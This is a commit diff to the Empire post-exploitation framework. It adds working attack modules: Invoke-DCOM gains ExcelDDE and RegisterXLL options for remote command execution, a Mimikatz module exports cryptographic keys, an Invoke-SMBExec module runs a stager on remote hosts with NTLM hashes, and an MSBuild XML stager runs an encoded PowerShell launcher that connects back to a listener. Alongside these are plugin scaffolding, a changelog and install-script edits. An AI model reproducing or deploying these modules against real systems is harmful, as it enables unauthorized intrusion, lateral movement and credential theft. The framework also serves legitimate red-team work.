readme-wiki
xorrior 2017-11-12 17:36:28 -05:00
commit 47f09ed045
16 changed files with 3216 additions and 41 deletions

View File

@ -1,3 +1,27 @@
Running
------------
- Added Kevin Robertson's Invoke-SMBExec.ps1
- Update Invoke-DCOM
10/29/2017
------------
- Version 2.3 Master Release
— Fix for #755
— Merge PR from byt3bl33d3r for TLS version
— Removed option to set chunk size for file downloads
— Fix for #729 (Unable to download files with spaces)
— Fix renegotiation in powershell agent. Patched python agent to exit on 401 response.
— Fix for #774 (Fix pyinstaller module)
— Added resource scripts capability (Carrie Roberts)
— Fix for #749 (Fix external agent modules)
— Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate)
— Merge Invoke-PowerDump fix
— Merge fixes for 718 (Fix generate function signature for module @nikaiw)
— Merge fixes for 762 (Code cleanup from EmPyre @elitest)
— Merge ntds execution module (@hightopfade)
— Updated generate function signatures in all modules
— Fixed stagerURI option (rvrsh3ll)
10/12/2017
--------
- Version 2.2 Master Release

View File

@ -52,14 +52,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
# If a secure random number generator is unavailable, exit with an error.
try:
try:
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except:
random_function = os.urandom
random_provider = "os.urandom"

View File

@ -55,14 +55,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
# If a secure random number generator is unavailable, exit with an error.
try:
try:
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except:
random_function = os.urandom
random_provider = "os.urandom"

View File

@ -24,11 +24,11 @@ function Invoke-DCOM {
Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
.PARAMETER Target
.PARAMETER ComputerName
IP Address or Hostname of the remote system
.PARAMETER Type
.PARAMETER Method
Specifies the desired type of execution
@ -39,8 +39,9 @@ function Invoke-DCOM {
.EXAMPLE
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe"
Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService"
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
#>
[CmdletBinding()]
@ -50,9 +51,10 @@ function Invoke-DCOM {
$ComputerName,
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
[ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
"DetectOffice","RegisterXLL","ExcelDDE")]
[String]
$Method = "MMC20",
$Method = "MMC20.Application",
[Parameter(Mandatory = $false, Position = 2)]
[string]
@ -60,7 +62,12 @@ function Invoke-DCOM {
[Parameter(Mandatory = $false, Position = 3)]
[string]
$Command= "calc.exe"
$Command= "calc.exe",
[Parameter(Mandatory = $false, Position = 4)]
[string]
$DllPath
)
Begin {
@ -108,7 +115,7 @@ function Invoke-DCOM {
#Begin main process block
#Check for which type we are using and apply options accordingly
if ($Method -Match "MMC20") {
if ($Method -Match "MMC20.Application") {
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
@ -163,6 +170,26 @@ function Invoke-DCOM {
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStart("$ServiceName")
}
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
}
End {

File diff suppressed because it is too large Load Diff

View File

@ -21,6 +21,8 @@ import hashlib
import time
import fnmatch
import shlex
import pkgutil
import importlib
# Empire imports
import helpers
@ -30,6 +32,7 @@ import listeners
import modules
import stagers
import credentials
import plugins
from zlib_wrapper import compress
from zlib_wrapper import decompress
@ -68,6 +71,10 @@ class MainMenu(cmd.Cmd):
# globalOptions[optionName] = (value, required, description)
self.globalOptions = {}
# currently active plugins:
# {'pluginName': classObject}
self.loadedPlugins = {}
# empty database object
self.conn = self.database_connect()
time.sleep(1)
@ -381,6 +388,51 @@ class MainMenu(cmd.Cmd):
# CMD methods
###################################################
def do_plugins(self, args):
"List all available and active plugins."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
numFound = len(pluginNames)
# say how many we found, handling the 1 case
if numFound == 1:
print(helpers.color("[*] {} plugin found".format(numFound)))
else:
print(helpers.color("[*] {} plugins found".format(numFound)))
# if we found any, list them
if numFound > 0:
print("\tName\tActive")
print("\t----\t------")
activePlugins = self.loadedPlugins.keys()
for name in pluginNames:
active = ""
if name in activePlugins:
active = "******"
print("\t" + name + "\t" + active)
print("")
print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
def do_plugin(self, pluginName):
"Load a plugin file to extend Empire."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
if pluginName in pluginNames:
print(helpers.color("[*] Plugin {} found.".format(pluginName)))
# 'self' is the mainMenu object
plugins.load_plugin(self, pluginName)
else:
raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
def postcmd(self, stop, line):
if len(self.resourceQueue) > 0:
nextcmd = self.resourceQueue.pop(0)

View File

@ -22,6 +22,7 @@ Includes:
import base64
import hashlib
import hmac
import os
import string
import M2Crypto
@ -57,11 +58,9 @@ try:
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
except:
random_function = os.urandom
random_provider = "os.urandom"
def pad(data):
"""
@ -285,7 +284,7 @@ class DiffieHellman(object):
_rand = int.from_bytes(random_function(_bytes), byteorder='big')
except:
# Python 2
_rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16)
_rand = int(random_function(_bytes).encode('hex'), 16)
return _rand

41
lib/common/plugins.py Normal file
View File

@ -0,0 +1,41 @@
""" Utilities and helpers and etc. for plugins """
import importlib
import lib.common.helpers as helpers
def load_plugin(mainMenu, pluginName):
""" Given the name of a plugin and a menu object, load it into the menu """
# note the 'plugins' package so the loader can find our plugin
fullPluginName = "plugins." + pluginName
module = importlib.import_module(fullPluginName)
pluginObj = module.Plugin(mainMenu)
mainMenu.loadedPlugins[pluginName] = pluginObj
class Plugin(object):
# to be overwritten by child
description = "This is a description of this plugin."
def __init__(self, mainMenu):
# having these multiple messages should be helpful for debugging
# user-reported errors (can narrow down where they happen)
print(helpers.color("[*] Initializing plugin..."))
# any future init stuff goes here
print(helpers.color("[*] Doing custom initialization..."))
# do custom user stuff
self.onLoad()
# now that everything is loaded, register functions and etc. onto the main menu
print(helpers.color("[*] Registering plugin with menu..."))
self.register(mainMenu)
def onLoad(self):
""" Things to do during init: meant to be overridden by
the inheriting plugin. """
pass
def register(self, mainMenu):
""" Any modifications made to the main menu are done here
(meant to be overriden by child) """
pass

View File

@ -250,8 +250,7 @@ class Listener:
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
@ -259,9 +258,13 @@ class Listener:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
if len(username.split('\\')) > 1:
usr = username.split('\\')[1]
domain = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
else:
usr = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent

View File

@ -0,0 +1,78 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz DumpKeys',
'Author': ['@JosephBialek', '@gentilkiwi'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to extract all keys to the local directory."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://clymb3r.wordpress.com/',
'http://blog.gentilkiwi.com'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# add in the key dumping command
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -46,7 +46,7 @@ class Module:
'Value' : ''
},
'Method' : {
'Description' : 'COM method to use.',
'Description' : 'COM method to use. MMC20.Application,ShellWindows,ShellBrowserWindow,ExcelDDE',
'Required' : True,
'Value' : 'ShellWindows'
},

View File

@ -0,0 +1,154 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-SMBExec',
'Author': ['@rvrsh3ll'],
'Description': ('Executes a stager on remote hosts using SMBExec.ps1'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': ["https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1"]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Host[s] to execute the stager on, comma separated.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'Username.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain.',
'Required' : False,
'Value' : ''
},
'Hash' : {
'Description' : 'NTLM Hash in LM:NTLM or NTLM format.',
'Required' : True,
'Value' : ''
},
'Service' : {
'Description' : 'Name of service to create and delete. Defaults to 20 char random.',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value']
computerName = self.options['ComputerName']['Value']
userName = self.options['Username']['Value']
NTLMhash = self.options['Hash']['Value']
domain = self.options['Domain']['Value']
service = self.options['Service']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd)
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -0,0 +1,160 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'msbuild_xml',
'Author': ['@p3nt4'],
'Description': ('Generates an XML file to be run with MSBuild.exe'),
'Comments': [
'On the endpoint simply launch MSBuild.exe payload.xml'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener': {
'Description': 'Listener to generate stager for.',
'Required': True,
'Value': ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'powershell'
},
'StagerRetries': {
'Description': 'Times for the stager to retry connecting.',
'Required': False,
'Value': '0'
},
'Obfuscate' : {
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
'Required' : False,
'Value' : 'False'
},
'ObfuscateCommand' : {
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
'Required' : False,
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
},
'OutFile': {
'Description': 'File to output XML to, otherwise displayed on the screen.',
'Required': False,
'Value': '/tmp/launcher.xml'
},
'UserAgent': {
'Description': 'User-agent string to use for the staging request (default, none, or other).',
'Required': False,
'Value': 'default'
},
'Proxy': {
'Description': 'Proxy to use for request (default, none, or other).',
'Required': False,
'Value': 'default'
},
'ProxyCreds': {
'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required': False,
'Value': 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
obfuscate = self.options['Obfuscate']['Value']
obfuscateCommand = self.options['ObfuscateCommand']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = True
obfuscateScript = False
if obfuscate.lower() == "true":
obfuscateScript = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(
listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
launcher_array=launcher.split()
if len(launcher_array) > 1:
print helpers.color("[*] Removing Launcher String")
launcher = launcher_array[-1]
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
code += "<Target Name=\"EmpireStager\">"
code += "<ClassExample />"
code += "</Target>"
code += "<UsingTask "
code += "TaskName=\"ClassExample\" "
code += "TaskFactory=\"CodeTaskFactory\" "
code += "AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >"
code += "<Task>"
code += "<Reference Include=\"System.Management.Automation\" />"
code += "<Using Namespace=\"System\" />"
code += "<Using Namespace=\"System.IO\" />"
code += "<Using Namespace=\"System.Reflection\" />"
code += "<Using Namespace=\"System.Collections.Generic\" />"
code += "<Code Type=\"Class\" Language=\"cs\">"
code += "<![CDATA[ "
code += "using System;"
code += "using System.IO;"
code += "using System.Diagnostics;"
code += "using System.Reflection;"
code += "using System.Runtime.InteropServices;"
code += "using System.Collections.ObjectModel;"
code += "using System.Management.Automation;"
code += "using System.Management.Automation.Runspaces;"
code += "using System.Text;"
code += "using Microsoft.Build.Framework;"
code += "using Microsoft.Build.Utilities;"
code += "public class ClassExample : Task, ITask"
code += "{"
code += "public override bool Execute()"
code += "{"
code += "byte[] data = Convert.FromBase64String(\""+launcher+"\");string script = Encoding.Unicode.GetString(data);"
code += "PSExecute(script);"
code += "return true;"
code += "}"
code += "public static void PSExecute(string cmd)"
code += "{"
code += "Runspace runspace = RunspaceFactory.CreateRunspace();"
code += "runspace.Open();"
code += "Pipeline pipeline = runspace.CreatePipeline();"
code += "pipeline.Commands.AddScript(cmd);"
code += "pipeline.InvokeAsync();"
code += "}"
code += "}"
code += " ]]>"
code += "</Code>"
code += "</Task>"
code += "</UsingTask>"
code += "</Project>"
return code

0
plugins/__init__.py Normal file
View File

35
plugins/example.py Normal file
View File

@ -0,0 +1,35 @@
""" An example of a plugin. """
from lib.common.plugins import Plugin
import lib.common.helpers as helpers
# anything you simply write out (like a script) will run immediately when the
# module is imported (before the class is instantiated)
print("Hello from your new plugin!")
# this class MUST be named Plugin
class Plugin(Plugin):
description = "An example plugin."
def onLoad(self):
""" any custom loading behavior - called by init, so any
behavior you'd normally put in __init__ goes here """
print("Custom loading behavior happens now.")
# you can store data here that will persist until the plugin
# is unloaded (i.e. Empire closes)
self.calledTimes = 0
def register(self, mainMenu):
""" any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands """
mainMenu.__class__.do_test = self.do_test
def do_test(self, args):
"An example of a plugin function."
print("This is executed from a plugin!")
print(helpers.color("[*] It can even import Empire functionality!"))
# you can also store data in the plugin (see onLoad)
self.calledTimes += 1
print("This function has been called {} times.".format(self.calledTimes))

View File

@ -27,7 +27,7 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask
pip install macholib
pip install dropbox
pip install 'pyopenssl==17.2.0'
pip install pyopenssl
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
@ -44,7 +44,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install flask
pip install macholib
pip install dropbox
pip install 'pyopenssl==17.2.0'
pip install pyopenssl
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
@ -85,7 +85,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
pip install pyOpenSSL
pip install macholib
pip install dropbox
pip install 'pyopenssl==17.2.0'
pip install pyopenssl
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
@ -115,7 +115,7 @@ else
pip install dropbox
pip install cryptography
pip install pyOpenSSL
pip install 'pyopenssl==17.2.0'
pip install pyopenssl
pip install zlib_wrapper
pip install netifaces
pip install M2Crypto